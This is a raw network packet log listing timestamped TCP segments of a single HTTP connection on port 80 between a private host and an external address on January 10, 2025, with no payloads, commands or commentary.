Jan 10, 2025 20:01:17.354000092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.354032040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.354048967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.354049921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.354067087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.354099989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.354125977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.354135036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.354167938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.354175091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.354202986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.354238033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.354243994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.354913950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.354947090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.354962111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.354983091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.355015993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.355021954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.355051994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.355083942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.355087996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.355119944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.355155945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.355165958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.355192900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.355227947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.355233908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.355828047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.355860949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.355875969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.355896950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.355930090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.355931044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.355967045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.355998993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.356004000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.356034040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.356076002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.356755972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.386859894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.386917114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.386954069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.386989117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.386996031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.387026072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.387038946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.387063026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.387103081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.388586998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.429178953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.429392099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.429455042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.429724932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.429882050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.429922104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.436484098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.436511040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.436539888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.436566114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.436568022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.436621904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.436660051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.436685085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.436709881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.436722994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.436736107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.436774015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.436990976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.437012911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.437040091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.437066078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.437074900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.437109947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.437352896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.437376022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.437402010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.437416077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.437485933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.437527895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.470915079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471012115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471049070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471085072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471107006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.471133947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471141100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.471170902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471216917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.471218109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471275091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471308947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471322060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.471373081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471409082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471415043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.471443892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471478939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471484900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.471513987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471549988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471550941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.471586943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471622944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.471635103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.472229958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.472265959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.472269058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.472301960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.472347021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.472348928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.472383022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.472417116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.472429991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.472453117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.472486019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.472495079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.472522020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.472559929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.472563982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.473242998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.473275900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.473303080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.473309994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.473344088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.473352909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.473380089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.473413944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.473424911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.473450899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.473484039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.473493099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.473522902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.473572969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.474039078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.474073887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.474111080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.474116087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.474144936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.474179983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.474200010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.474215031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.474250078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.474258900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.474282980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.474318027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.474327087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.474358082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.474497080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.474988937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.475023031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.475058079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.475070000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.475094080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.475127935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.475138903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.475162029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.475195885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.475205898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.475235939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.475270987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.475282907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.475308895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.475356102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.475852013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.475972891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.476011992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.476033926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.476047993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.476082087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.476094961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.476116896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.476151943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.476167917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.476187944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.476219893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.476229906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.476257086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.476298094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.476829052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.476974964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.477008104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.477018118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.477044106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.477077007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.477083921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.477109909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.477144003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.477144957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.477190018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.477224112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.477240086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.477263927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.477303028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.477962971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.477998018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.478033066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.478040934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.478066921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.478101969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.478106022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.478137970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.478173018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.478179932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.478205919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.478241920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.478250980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.478279114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.478323936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.478888988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.478921890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.478959084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.478975058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.478992939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.479027987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.479034901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.479058027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.479073048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.479096889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.485147953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.514480114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.514534950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.514574051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.514583111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.514607906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.514612913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.514651060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.514684916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.514688015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.514722109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.514758110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.514759064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.521296024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.522753954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.522805929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.522816896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.522850037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.522892952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.522902012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.522937059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.522977114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.522996902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.523052931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.523092031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.523104906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.523139954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.523169994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.523180962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.523202896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.523237944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.523247957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.523272991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.523307085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.523319960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.523369074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.523405075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.523411989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.523439884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.523473978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.523488045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.533813953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.557598114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557621956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557634115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557643890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557655096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557667017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557677984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557688951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557720900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.557754040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557754040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.557773113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557785034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557804108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557811022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.557816982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557827950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557847023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557847977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.557857990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557869911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557878971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.557881117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557893991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557904959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557912111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.557915926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557939053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.557951927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.557954073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558063984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558074951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558098078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558119059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558130026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558140993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558147907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558151960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558165073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558177948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558182001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558202028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558288097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558306932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558317900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558322906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558329105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558341026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558348894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558351040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558363914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558373928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558377981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558387041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558398008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558403015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558410883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558420897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558422089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558437109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558438063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558465004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558525085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558752060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558763981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558773041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558783054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558794975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558796883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558814049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558820009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558839083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558849096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558854103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558862925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558881998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558885098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558904886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558912992 CET	49704	80	192.168.2.5	193.143.1.205
